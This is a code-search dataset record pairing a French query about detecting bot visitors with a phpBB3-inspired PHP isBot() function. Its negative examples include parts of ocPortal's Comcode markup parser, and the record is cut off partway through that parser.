"0.5770714", "0.5770714", "0.5770714", "0.5770714", "0.5766468", "0.57553774", "0.57552177", "0.57468915", "0.57468665", "0.57468665", "0.5739198", "0.57389474", "0.5737021", "0.57341063", "0.5734031", "0.57321805", "0.573175", "0.57302094", "0.5728055", "0.57244724", "0.57244724", "0.57244724", "0.5720806", "0.57173103", "0.5716687", "0.5714071", "0.57099223", "0.57077754", "0.57067525" ]
0.61794394
15
Function permettant de savoir si le visiteur courant est un ROBOTS Code inspirer de phpBB3
function isBot(){ global $registry; $browser = (!empty($_SERVER['HTTP_USER_AGENT'])) ? htmlspecialchars((string) $_SERVER['HTTP_USER_AGENT']) : ''; $ip = (!empty($_SERVER['REMOTE_ADDR'])) ? (string) $_SERVER['REMOTE_ADDR'] : ''; $bot = false; if( !$bots = $registry->cache->get('bots_listes') ){ $bots = $registry->db->get(PREFIX . 'bots'); $registry->cache->save(serialize($bots)); }else{ $bots = unserialize($bots); } foreach($bots as $row){ if ($row['bot_agent'] && preg_match('#' . str_replace('\*', '.*?', preg_quote($row['bot_agent'], '#')) . '#i', $browser)){ $bot = $row['user_id']; } // If ip is supplied, we will make sure the ip is matching too... if ($row['bot_ip'] && ($bot || !$row['bot_agent'])) { // Set bot to false, then we only have to set it to true if it is matching $bot = false; foreach (explode(',', $row['bot_ip']) as $bot_ip) { $bot_ip = trim($bot_ip); if (!$bot_ip) { continue; } if (strpos($ip, $bot_ip) === 0) { $bot = (int) $row['user_id']; break; } } } } if( $bot !== false) return true; return false; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function niveau ($niveauCode, $niveauTexte)\n{\n if ($niveauCode = 1){\n \n }\n \n }", "public function codeRetrait()\n {\n $code_secret = $this->utils->securite_xss($_POST['codesecret']);\n $fkcarte = $this->utils->securite_xss($_POST['fkcarte']);\n $frais = $this->compteModel->verifCodeRetrait($fkcarte, $code_secret);\n if ($frais == 1) echo 1;\n elseif ($frais == 0) echo 0;\n else echo -2;\n }", "function init__comcode_text()\n{\n\tif (!defined('CCP_NO_MANS_LAND'))\n\t{\n\t\tdefine('CCP_NO_MANS_LAND',0);\n\t\tdefine('CCP_IN_TAG_NAME',1);\n\t\tdefine('CCP_STARTING_TAG',2);\n\t\tdefine('CCP_IN_TAG_BETWEEN_ATTRIBUTES',3);\n\t\tdefine('CCP_IN_TAG_ATTRIBUTE_NAME',4);\n\t\tdefine('CCP_IN_TAG_BETWEEN_ATTRIBUTE_NAME_VALUE_LEFT',5);\n\t\tdefine('CCP_IN_TAG_BETWEEN_ATTRIBUTE_NAME_VALUE_RIGHT',6);\n\t\tdefine('CCP_IN_TAG_ATTRIBUTE_VALUE',7);\n\t\tdefine('CCP_IN_TAG_ATTRIBUTE_VALUE_NO_QUOTE',8);\n\n\t\tdefine('MAX_COMCODE_TAG_LOOK_AHEAD_LENGTH',30);\n\t}\n\n\t/*\n\n\tNote: Certain tags are included for compatibility with bbcode only...\n\t sql\n\t codebox\n\t php\n\t color\n\t size\n\t right\n\t left\n\t center\n\t list\n\t * (this is a psuedo tag because it is actually exploded seperately -- because it is very non-standard)\n\t snapback\n\t topic\n\t post\n\t thread\n\t highlight\n\t flash\n\tSome of threse add features, but they don't really fit in IMHO.\n\n\tAlso for compatibility, tags are case-insensitive, email/url parameter and embed can be switched, and quotes can be missed out.\n\n\t*/\n\n\t// In theory, almost any tag is reversable. However these tags can be converted ROBUSTLY and hence the WYSIWYG editor can manipulate them as HTML rather than having to display as Comcode\n\t// If the tag is mapped to a string that provides a regexp to say when it is NOT reversible. Usually this is done for certain parameters.\n\tglobal $REVERSABLE_TAGS;\n\t$REVERSABLE_TAGS=array('surround'=>1,'attachment_safe'=>1,'attachment2'=>1,'cite'=>1,'ins'=>1,'del'=>1,'dfn'=>1,'address'=>1,'abbr'=>1,'acronym'=>1,'list'=>1,'highlight'=>1,'indent'=>1,'b'=>1,'i'=>1,'u'=>1,'s'=>1,'sup'=>1,'sub'=>1,\n\t\t\t\t\t\t\t\t\t\t'title'=>1,'size'=>1,'color'=>1,'font'=>1,'tt'=>1,'img'=>'#\\s(rollover|refresh\\_time)=#','url'=>1,'email'=>1,'upload'=>1,\n\t\t\t\t\t\t\t\t\t\t'semihtml'=>1,'html'=>1,'align'=>1,'left'=>1,'center'=>1,'right'=>1,\n\n\t\t\t\t\t\t\t\t\t\t/*Handled in special way*/\n\t\t\t\t\t\t\t\t\t\t'block'=>1,'contents'=>1,'concepts'=>1,'attachment'=>1,'flash'=>1,'menu'=>1,'reference'=>1,'page'=>1,'exp_thumb'=>1,'exp_ref'=>1,'thumb'=>1,'snapback'=>1,'post'=>1,'thread'=>1,'topic'=>1,'include'=>1,'random'=>1,'jumping'=>1,'shocker'=>1,);\n\t// These are not reversable, but we want them WYSIWYGABLE\n\tglobal $PUREHTML_TAGS;\n\t$PUREHTML_TAGS=array(/*'attachment2'=>1,'attachment_safe'=>'1*/); // Actually: there is some dynamicness even in this ($KEEP and $SESSION in particular -- and we couldn't even have them preserved inside a WYSIWYG-edit)\n\t// The following could conceivably not need to be reversed, as they're pure HTML. However, it's better not to let the WYSIWYG'd HTML get too complex.\n\t// 'tooltip'=>1,'section'=>1,'section_controller'=>1,'big_tab'=>1,'big_tab_controller'=>1,'tabs'=>1,'tab'=>1,'carousel'=>1,'flash'=>1,'hide'=>1,'quote'=>1,'ticker'=>1,'jumping'=>1\n\n\t// Any of these will cause free-for-all blacklist-filtered HTML to be disallowed, even if enabled via the hidden option\n\tglobal $POTENTIALLY_EMPTY_TAGS;\n\t$POTENTIALLY_EMPTY_TAGS=array('concepts'=>1,'staff_note'=>1,'if_in_group'=>1,'no_parse'=>1,'concept'=>1,'include'=>1,'random'=>1,'jumping'=>1);\n\n\t// The contents of these tags is human readable text. It may be altered for reasons of bork, or word-wrapping, or textcode; they have hard white space\n\tglobal $TEXTUAL_TAGS;\n\t$TEXTUAL_TAGS=array('overlay'=>1,'tooltip'=>1,'section'=>1,'surround'=>1,'if_in_group'=>1,'cite'=>1,'ins'=>1,'del'=>1,'dfn'=>1,'address'=>1,'abbr'=>1,'acronym'=>1,'list'=>1,'indent'=>1,'align'=>1,'left'=>1,'center'=>1,'right'=>1,'b'=>1,'i'=>1,'u'=>1,'s'=>1,'sup'=>1,'sub'=>1,'title'=>1,'size'=>1,'color'=>1,'highlight'=>1,'font'=>1,'box'=>1,'internal_table'=>1,'external_table'=>1,'hide'=>1,'quote'=>1,'tab'=>1,'big_tab'=>1);\n\n\t// These tags don't have <br />'s done right after them because they are their own block-end (like a paragraph). They may contain textcode lists and rules\n\tglobal $BLOCK_TAGS;\n\t$BLOCK_TAGS=array('section'=>1,'section_controller'=>1,'tabs'=>1,'tab'=>1,'big_tab'=>1,'big_tab_controller'=>1,'carousel'=>1,'surround'=>1,'if_in_group'=>1,'exp_thumb'=>1,'contents'=>1,'concepts'=>1,'php'=>1,'codebox'=>1,'sql'=>1,'code'=>1,'list'=>1,'indent'=>1,'align'=>1,'left'=>1,'center'=>1,'right'=>1,'staff_note'=>1,'reference'=>1,'menu'=>1,'title'=>1,'box'=>1,'internal_table'=>1,'external_table'=>1,'quote'=>1,'block'=>1,'hide'=>1);\n\n\t// These tags can only be used by privileged members\n\tglobal $DANGEROUS_TAGS;\n\t$DANGEROUS_TAGS=array('overlay'=>1,'if_in_group'=>1,'concepts'=>1,'random'=>1,'include'=>1,'block'=>1,'menu'=>1); // Don't want people putting menus around, plus the captions aren't escaped\n\n\t// These tags have contents that are not interpreted as Comcode (so no HTML tags either), but are formatted for white-space\n\tglobal $CODE_TAGS;\n\t$CODE_TAGS=array(/*'img'=>1 - no, can be a symbol for legacy reasons,*/'flash'=>1,'thumb'=>1,'menu'=>1,'no_parse'=>1,'code'=>1,'sql'=>1,'php'=>1,'tt'=>1,'samp'=>1,'codebox'=>1,'staff_note'=>1,'section_controller'=>1,'big_tab_controller'=>1);\n\n\t// ALSO:\n\t// See $non_text_tags list in comcode_renderer.php\n\t// See non_text_tags in JAVASCRIPT_EDITING.tpl\n\t// See _get_details_comcode_tags function in comcode_add.php\n\n\t// Hehe\n\tglobal $LEET_FILTER;\n\t$LEET_FILTER=NULL;\n\n\tglobal $ALLOWED_ENTITIES;\n//\t$ALLOWED_ENTITIES=array('raquo'=>1,'frac14'=>1,'frac12'=>1,'frac34'=>1,'ndash'=>1,'mdash'=>1,'ldquo'=>1,'rdquo'=>1);\n\t$ALLOWED_ENTITIES=array('OElig'=>1,'oelig'=>1,'Scaron'=>1,'scaron'=>1,'Yuml'=>1,'circ'=>1,'tilde'=>1,'ensp'=>1,'emsp'=>1,'thinsp'=>1,'zwnj'=>1,'zwj'=>1,'lrm'=>1,'rlm'=>1,'ndash'=>1,'mdash'=>1,'lsquo'=>1,'rsquo'=>1,'sbquo'=>1,'ldquo'=>1,'rdquo'=>1,'bdquo'=>1,'dagger'=>1,'Dagger'=>1,'hellip'=>1,'permil'=>1,'lsaquo'=>1,'rsaquo'=>1,'euro'=>1,'Agrave'=>1,'Aacute'=>1,'Acirc'=>1,'Atilde'=>1,'Auml'=>1,'Aring'=>1,'AElig'=>1,'Ccedil'=>1,'Egrave'=>1,'Eacute'=>1,'Ecirc'=>1,'Euml'=>1,'Igrave'=>1,'Iacute'=>1,'Icirc'=>1,'Iuml'=>1,'ETH'=>1,'Ntilde'=>1,'Ograve'=>1,'Oacute'=>1,'Ocirc'=>1,'Otilde'=>1,'Ouml'=>1,'Oslash'=>1,'Ugrave'=>1,'Uacute'=>1,'Ucirc'=>1,'Uuml'=>1,'Yacute'=>1,'THORN'=>1,'szlig'=>1,'agrave'=>1,'aacute'=>1,'acirc'=>1,'atilde'=>1,'auml'=>1,'aring'=>1,'aelig'=>1,'ccedil'=>1,'egrave'=>1,'eacute'=>1,'ecirc'=>1,'euml'=>1,'igrave'=>1,'iacute'=>1,'icirc'=>1,'iuml'=>1,'eth'=>1,'ntilde'=>1,'ograve'=>1,'oacute'=>1,'ocirc'=>1,'otilde'=>1,'ouml'=>1,'oslash'=>1,'ugrave'=>1,'uacute'=>1,'ucirc'=>1,'uuml'=>1,'yacute'=>1,'thorn'=>1,'yuml'=>1,'nbsp'=>1,'iexcl'=>1,'curren'=>1,'cent'=>1,'pound'=>1,'yen'=>1,'brvbar'=>1,'sect'=>1,'uml'=>1,'copy'=>1,'ordf'=>1,'laquo'=>1,'not'=>1,'shy'=>1,'reg'=>1,'trade'=>1,'macr'=>1,'deg'=>1,'plusmn'=>1,'sup2'=>1,'sup3'=>1,'acute'=>1,'micro'=>1,'para'=>1,'middot'=>1,'cedil'=>1,'sup1'=>1,'ordm'=>1,'raquo'=>1,'frac14'=>1,'frac12'=>1,'frac34'=>1,'iquest'=>1,'times'=>1,'divide'=>1,'amp'=>1,'lt'=>1,'gt'=>1,'quot'=>1);\n\n\tglobal $ADVERTISING_BANNERS;\n\t$ADVERTISING_BANNERS=NULL;\n\n\tglobal $NO_LINK_TITLES;\n\t$NO_LINK_TITLES=false;\n}", "function blocs_rempl($texte) {\r\n\tif (strpos($texte, '<')===false) return $texte;\r\n\t// balises blocs|visible|invisible : il faut un callback pour analyser l'interieur du texte\r\n\treturn preg_replace_callback(',<(bloc#?|visible#?|invisible#?|blocintertitre#?)([0-9]*)>(.*?)</\\1\\2>,ms', 'blocs_callback', $texte);\r\n}", "protected function isContentCorrect() {}", "function comcode_text_to_tempcode($comcode,$source_member,$as_admin,$wrap_pos,$pass_id,$connection,$semiparse_mode,$preparse_mode,$is_all_semihtml,$structure_sweep,$check_only,$highlight_bits=NULL,$on_behalf_of_member=NULL)\n{\n\tglobal $ADVERTISING_BANNERS,$ALLOWED_ENTITIES,$POTENTIALLY_EMPTY_TAGS,$CODE_TAGS,$REVERSABLE_TAGS,$PUREHTML_TAGS,$DANGEROUS_TAGS,$VALID_COMCODE_TAGS,$BLOCK_TAGS,$POTENTIAL_JS_NAUGHTY_ARRAY,$TEXTUAL_TAGS,$LEET_FILTER,$IMPORTED_CUSTOM_COMCODE,$REPLACE_TARGETS;\n\n\t$wml=false; // removed feature from ocPortal now\n\t$print_mode=get_param_integer('wide_print',0)==1;\n\n\t$len=strlen($comcode);\n\n\tif ((function_exists('set_time_limit')) && (ini_get('max_execution_time')!='0')) @set_time_limit(300);\n\n\t$allowed_html_seqs=array('<table>','<table class=\"[^\"]*\">','<table class=\"[^\"]*\" summary=\"[^\"]*\">','<table summary=\"[^\"]*\">','</table>','<tr>','</tr>','<td>','</td>','<th>','</th>','<pre>','</pre>','<br />','<br/>','<br >','<br>','<p>','</p>','<p />','<b>','</b>','<u>','</u>','<i>','</i>','<em>','</em>','<strong>','</strong>','<li>','</li>','<ul>','</ul>','<ol>','</ol>','<del>','</del>','<dir>','</dir>','<s>','</s>','</a>','</font>','<!--','<h1 id=\"main_page_title\">','<h1 class=\"main_page_title\">','<h1 id=\"main_page_title\" class=\"main_page_title\">','</h1>','<img (class=\"inline_image\" )?alt=\"[^\"]*\" src=\"[^\"]*\" (complete=\"true\" )*/>','<img src=[\"\\'][^\"\\'<>]*[\"\\']( border=[\"\\'][^\"\\'<>]*[\"\\'])?( alt=[\"\\'][^\"\\'<>]*[\"\\'])?( )?(/)?'.'>','<a href=[\"\\'][^\"\\'<>]*[\"\\']( target=[\"\\'][^\"\\'<>]*[\"\\'])?'.'>'); // HTML tag may actually be used in very limited conditions: only the following HTML seqs will come out as HTML. This is, unless the blacklist filter is used instead.\n\tif ($as_admin)\n\t{\n\t\t$comcode_dangerous=true;\n\t\t$comcode_dangerous_html=true;\n\t} else\n\t{\n\t\t$comcode_dangerous=($GLOBALS['MICRO_BOOTUP']==0) && (has_specific_permission($source_member,'comcode_dangerous'));\n\t\t$comcode_dangerous_html=false;\n\t\tif ((has_specific_permission($source_member,'allow_html')) && (($is_all_semihtml) || (strpos($comcode,'[html')!==false) || (strpos($comcode,'[semihtml')!==false)))\n\t\t{\n\t\t\t$comcode_dangerous_html=true;\n\t\t\t/*foreach (array_keys($POTENTIALLY_EMPTY_TAGS) as $tag) // Find whether we really need to enable the computational-expensive filtering. Code disabled, not sure why this would have ever worked!\n\t\t\t{\n\t\t\t\tif (($tag!='html') && ($tag!='semihtml') && (strpos($comcode,'['.$tag)!==false))\n\t\t\t\t{\n\t\t\t\t\t$comcode_dangerous_html=false;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}*/\n\t\t}\n\t}\n\tif (is_null($pass_id)) $pass_id=strval(mt_rand(0,32000)); // This is a unique ID that refers to this specific piece of comcode\n\tglobal $COMCODE_ATTACHMENTS;\n\tif (!array_key_exists($pass_id,$COMCODE_ATTACHMENTS)) $COMCODE_ATTACHMENTS[$pass_id]=array();\n\n\t// Tag level\n\t$current_tag='';\n\t$attribute_map=array();\n\t$tag_output=new ocp_tempcode();\n\t$continuation='';\n\t$close=mixed();\n\n\t// Properties that come from our tag\n\t$white_space_area=true;\n\t$textual_area=true;\n\t$formatting_allowed=true;\n\t$in_html=false;\n\t$in_semihtml=$is_all_semihtml;\n\t$in_separate_parse_section=false; // Not escaped because it has to be passed to a secondary filter\n\t$in_code_tag=false;\n\t$code_nest_stack=0;\n\n\t// Our state\n\t$status=CCP_NO_MANS_LAND;\n\t$lax=$GLOBALS['LAX_COMCODE'] || function_exists('get_member') && $source_member!=get_member() || count($_POST)==0; // if we don't want to produce errors for technically invalid Comcode\n\t$tag_stack=array();\n\t$pos=0;\n\t$line_starting=true;\n\t$just_ended=false;\n\t$none_wrap_length=0;\n\t$just_new_line=true; // So we can detect lists starting right away\n\t$just_title=false;\n\tglobal $NUM_LINES;\n\t$NUM_LINES=0;\n\t$queued_tempcode=new ocp_tempcode();\n\t$mindless_mode=false; // If we're doing a semi parse mode and going over a tag we don't actually process\n\t$tag_raw='';\n\n\tif ((!is_null($wrap_pos)) && (strtolower(get_charset())=='utf-8'))\n\t\t$wrap_pos*=2;\n\n\t$b_all=(get_option('admin_banners',true)==='1');\n\n\t$stupidity_mode=get_value('stupidity_mode'); // bork or leet\n\tif ($comcode_dangerous) $stupidity_mode=get_param('stupidity_mode','');\n\tif ($stupidity_mode=='leet')\n\t{\n\t\t$LEET_FILTER=array(\n\t\t'B'=>'8',\n\t\t'C'=>'(',\n\t\t'E'=>'3',\n\t\t'G'=>'9',\n\t\t'I'=>'1',\n\t\t'L'=>'1',\n\t\t'O'=>'0',\n\t\t'P'=>'9',\n\t\t'S'=>'5',\n\t\t'U'=>'0',\n\t\t'V'=>'\\/',\n\t\t'Z'=>'2'\n\t\t);\n\t}\n\n\t$smilies=$GLOBALS['FORUM_DRIVER']->find_emoticons(); // We'll be needing the smiley array\n\t$shortcuts=array('(EUR-)'=>'&euro;','{f.}'=>'&fnof;','-|-'=>'&dagger;','=|='=>'&Dagger;','{%o}'=>'&permil;','{~S}'=>'&Scaron;','{~Z}'=>'&#x17D;','(TM)'=>'&trade;','{~s}'=>'&scaron;','{~z}'=>'&#x17E;','{.Y.}'=>'&Yuml;','(c)'=>'&copy;','(r)'=>'&reg;','---'=>'&mdash;','--'=>'&ndash;','...'=>'&hellip;','-->'=>'&rarr;','<--'=>'&larr;');\n\n\t// Text syntax possibilities, that get maintained as our cursor moves through the text block\n\t$list_indent=0;\n\t$list_type='ul';\n\n\tif ($is_all_semihtml) filter_html($as_admin,$source_member,$pos,$len,$comcode,false,false); // Pre-filter the whole lot (note that this means during general output we do no additional filtering)\n\n\twhile ($pos<$len)\n\t{\n\t\t$next=$comcode[$pos];\n\t\t++$pos;\n\n\t\t// State machine\n\t\tswitch ($status)\n\t\t{\n\t\t\tcase CCP_NO_MANS_LAND:\n\t\t\t\tif ($next=='[')\n\t\t\t\t{\n\t\t\t\t\t// Look ahead to make sure it's a valid tag. If it's not then it's considered normal user input, not a tag at all\n\t\t\t\t\t$dif=(($pos<$len) && ($comcode[$pos]=='/'))?1:0;\n\t\t\t\t\t$ahead=substr($comcode,$pos+$dif,MAX_COMCODE_TAG_LOOK_AHEAD_LENGTH);\n\t\t\t\t\t$equal_pos=strpos($ahead,'=');\n\t\t\t\t\t$space_pos=strpos($ahead,' ');\n\t\t\t\t\t$end_pos=strpos($ahead,']');\n\t\t\t\t\t$lax_end_pos=strpos($ahead,'[');\n\t\t\t\t\t$cl_pos=strpos($ahead,chr(10));\n\t\t\t\t\tif ($equal_pos===false) $equal_pos=MAX_COMCODE_TAG_LOOK_AHEAD_LENGTH+3;\n\t\t\t\t\tif ($space_pos===false) $space_pos=MAX_COMCODE_TAG_LOOK_AHEAD_LENGTH+3;\n\t\t\t\t\tif ($end_pos===false) $end_pos=MAX_COMCODE_TAG_LOOK_AHEAD_LENGTH+3;\n\t\t\t\t\tif ($lax_end_pos===false) $lax_end_pos=MAX_COMCODE_TAG_LOOK_AHEAD_LENGTH+3;\n\t\t\t\t\tif ($cl_pos===false) $cl_pos=MAX_COMCODE_TAG_LOOK_AHEAD_LENGTH+3;\n\t\t\t\t\t$use_pos=min($equal_pos,$space_pos,$end_pos,$lax_end_pos,$cl_pos);\n\n\t\t\t\t\t$potential_tag=strtolower(substr($ahead,0,$use_pos));\n\t\t\t\t\tif (($use_pos!=22) && ((!$in_semihtml) || ($dif==1) || (($potential_tag!='html') && ($potential_tag!='semihtml'))) && ((!$in_html) || (($dif==1) && ($potential_tag=='html'))) && ((!$in_code_tag) || ((isset($CODE_TAGS[$potential_tag])) && ($potential_tag==$current_tag))) && ((!$structure_sweep) || ($potential_tag!='contents')))\n\t\t\t\t\t{\n\t\t\t\t\t\tif ($in_code_tag)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($dif==1)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$code_nest_stack--;\n\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$code_nest_stack++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$ok=($code_nest_stack==-1);\n\t\t\t\t\t\t} else $ok=true;\n\n\t\t\t\t\t\tif ($ok)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (!isset($VALID_COMCODE_TAGS[$potential_tag]))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (!$IMPORTED_CUSTOM_COMCODE)\n\t\t\t\t\t\t\t\t\t_custom_comcode_import($connection);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif ((isset($VALID_COMCODE_TAGS[$potential_tag])) && (strtolower(substr($ahead,0,2))!='i ')) // The \"i\" bit is just there to block a common annoyance: [i] doesn't take parameters and we don't want \"[i think]\" (for example) being parsed.\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (($comcode[$pos]!='/') || (count($tag_stack)==0))\n\t\t\t\t\t\t\t\t\t$mindless_mode=($semiparse_mode) && /*(!isset($CODE_TAGS[$potential_tag])) && */((!isset($REVERSABLE_TAGS[$potential_tag])) || ((is_string($REVERSABLE_TAGS[$potential_tag])) && (preg_match($REVERSABLE_TAGS[$potential_tag],substr($comcode,$pos,100))!=0))) && (!isset($PUREHTML_TAGS[$potential_tag]));\n\t\t\t\t\t\t\t\telse $mindless_mode=$tag_stack[count($tag_stack)-1][7];\n\n\t\t\t\t\t\t\t\t$close=false;\n\t\t\t\t\t\t\t\t$current_tag='';\n\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\tif ((/*(($potential_tag=='html') || ($potential_tag=='semihtml')) && */($just_new_line)) || (isset($BLOCK_TAGS[$potential_tag])))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tlist($close_list,$list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($close_list);\n\t\t\t\t\t\t\t\t\t$tag_output->attach($close_list);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$status=CCP_STARTING_TAG;\n\t\t\t\t\t\t\t\tif ($mindless_mode)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($comcode[$pos]!='/')\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif (array_key_exists($potential_tag,$BLOCK_TAGS))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$tag_raw='&#8203;<kbd title=\"'.escape_html($potential_tag).'\" class=\"ocp_keep_block\">[';\n\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$tag_raw='&#8203;<kbd title=\"'.escape_html($potential_tag).'\" class=\"ocp_keep\">[';\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$tag_raw='[';\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$tag_raw='';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} else\n\t\t\t\t\t{\n\t\t\t\t\t\tif (($use_pos!=22) && ((($in_semihtml) || ($in_html)) && (($potential_tag=='html') || ($potential_tag=='semihtml'))) && (!$in_code_tag))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$ahc=strpos($ahead,']');\n\t\t\t\t\t\t\tif ($ahc!==false)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$pos+=$ahc+1;\n\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ((($in_html) || ((($in_semihtml) && (!$in_code_tag)) && (($next=='<') || ($next=='>') || ($next=='\"')))))\n\t\t\t\t{\n\t\t\t\t\tif ($next==chr(10)) ++$NUM_LINES;\n\n\t\t\t\t\tif ((!$comcode_dangerous_html) && ($next=='<')) // Special filtering required\n\t\t\t\t\t{\n\t\t\t\t\t\t$close=strpos($comcode,'>',$pos-1);\n\t\t\t\t\t\t$portion=substr($comcode,$pos-1,$close-$pos+2);\n\t\t\t\t\t\t$seq_ok=false;\n\t\t\t\t\t\tforeach ($allowed_html_seqs as $allowed_html_seq)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (preg_match('#^'.$allowed_html_seq.'$#',$portion)!=0) $seq_ok=true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (!$seq_ok)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// $next='&lt;'; //OLD STYLE\n\t\t\t\t\t\t\tif ($close!==false) $pos=$close+1; // NEW STYLE\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif (substr($comcode,$pos-1,4)=='<!--') // To stop shortcut interpretation\n\t\t\t\t\t{\n\t\t\t\t\t\t$continuation.='<!--';\n\t\t\t\t\t\t$pos+=3;\n\t\t\t\t\t} else\n\t\t\t\t\t{\n\t\t\t\t\t\t$continuation.=($mindless_mode && $in_code_tag)?escape_html($next):$next;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse // Not in HTML\n\t\t\t\t{\n\t\t\t\t\t// Text-format possibilities\n\t\t\t\t\tif (($just_new_line) && ($formatting_allowed) && (!$wml))\n\t\t\t\t\t{\n\t\t\t\t\t\tif ($continuation!='')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// List\n\t\t\t\t\t\t$found_list=false;\n\t\t\t\t\t\t$old_list_indent=$list_indent;\n\t\t\t\t\t\tif (($pos+2<$len) && (is_numeric($next)) && (((is_numeric($comcode[$pos])) && ($comcode[$pos+1]==')') && ($comcode[$pos+2]==' ')) || (($comcode[$pos]==')') && ($comcode[$pos+1]==' '))) && ((($list_type=='1') && ($list_indent!=0)) || (preg_match('#^[^\\n]*\\n\\d+\\) #',substr($comcode,$pos+1))!=0)))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (($list_indent!=0) && ($list_type!='1'))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tlist($temp_tpl,$old_list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$list_indent=1;\n\t\t\t\t\t\t\t$found_list=true;\n\t\t\t\t\t\t\t$scan_pos=$pos;\n\t\t\t\t\t\t\t$list_type='1';\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif (($pos+2<$len) && (ord($next)>=ord('a')) && (ord($next)<=ord('z')) && ($comcode[$pos]==')') && ($comcode[$pos+1]==' ') && ((($list_type=='a') && ($list_indent!=0)) || (preg_match('#^[^\\n]*\\n[a-z]+\\) #',substr($comcode,$pos+1))!=0)))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (($list_indent!=0) && ($list_type!='a'))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tlist($temp_tpl,$old_list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$list_indent=1;\n\t\t\t\t\t\t\t$found_list=true;\n\t\t\t\t\t\t\t$scan_pos=$pos;\n\t\t\t\t\t\t\t$list_type='a';\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif ($next==' ')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (($old_list_indent!=0) && ($list_type!='ul'))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tlist($temp_tpl,$old_list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t$scan_pos=$pos-1;\n\t\t\t\t\t\t\t$list_indent=0;\n\t\t\t\t\t\t\twhile ($scan_pos<$len)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$scan_next=$comcode[$scan_pos];\n\t\t\t\t\t\t\t\tif (($scan_next=='-') && ($scan_pos+1<$len) && ($comcode[$scan_pos+1]==' '))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$found_list=true;\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($scan_next==' ') ++$list_indent; else break;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t++$scan_pos;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (!$found_list) $list_indent=0; else $list_type='ul';\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// 